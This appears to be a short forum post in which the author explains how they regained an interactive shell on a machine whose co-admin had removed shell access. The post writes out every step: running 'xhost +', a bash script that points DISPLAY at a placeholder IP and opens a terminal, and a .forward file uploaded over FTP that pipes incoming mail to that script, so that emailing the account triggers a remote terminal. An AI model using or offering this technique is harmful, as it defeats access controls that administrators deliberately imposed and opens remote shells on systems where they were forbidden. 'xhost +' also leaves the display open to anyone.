okay. you didn't get it. so i'll tell you what i did.
$ xhost +
then...
make a shell script -
#!/bin/bash
export DISPLAY=YOUR_IP_HERE
/usr/bin/gnome-terminal # or whatever term you want to use
then...
$ echo "| /path/to/above/script.sh" > junk
ftp MACHINE_WITH_NO_SHELL
login: your account
password:
put script.sh script.sh
put junk .forward
then, email your account. the .forward executes the script, which exports the display to your machine and gives you a shell. took me a little while to come up with this one, but it's definitely going on the books as "good way to get into your machine that your tard friend & co-admin killed all shell access to"
